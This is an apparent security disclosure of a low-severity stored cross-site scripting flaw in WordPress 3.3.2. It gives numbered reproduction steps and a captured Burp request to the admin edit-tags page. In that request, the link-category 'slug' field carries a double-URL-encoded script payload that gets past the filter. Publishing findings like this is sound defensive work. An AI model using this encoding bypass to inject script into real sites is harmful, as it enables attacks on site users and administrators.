There is a persistent XSS vulnerability in the wordpress version 3.3.2.
However, the severity of this finding is very LOW. The detail is as follow,

a) Login into an admin account
b) Navigate to Links -> Links Categories
c) Fill up the required details and intercept the request with a BURP
suite.
d) The injectable parameter is slug. If you inject
<script>alert(1)</script> as a value to parameter "slug", the application
strips it off and the value becomes alert1. But if the payload is double
encode then ;-)
<script>alert(1)</script> when converted to
%253cscript%253ealert%25281%2529%253c%252fscript%253e bypasses xss
protection. The following request shows the raw burp request along with the
vulnerable parameter and payload marked in bold.

BURP REQUEST

POST /wordpress/wp-admin/edit-tags.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer:
http://localhost/wordpress/wp-admin/edit-tags.php?action=edit&taxonomy=link_category&tag_ID=2&post_type=post
Cookie:
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1335544051%7C197b22093eaefaf6950bd81d6aa6372b;
wp-settings-time-1=1335371272; wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1335544051%7C6ebcb9d0104a37c6d7a91274ac94c6cb
Content-Type: application/x-www-form-urlencoded
Content-Length: 379


action=editedtag&tag_ID=2&taxonomy=link_category&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dlink_category&_wpnonce=83974d7f8f&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Faction%3Dedit%26taxonomy%3Dlink_category%26tag_ID%3D2%26post_type%3Dpost&name=Blogroll&slug=injecthere%253cscript%253ealert%25281%2529%253c%252fscript%253e&description=sectest&submit=Update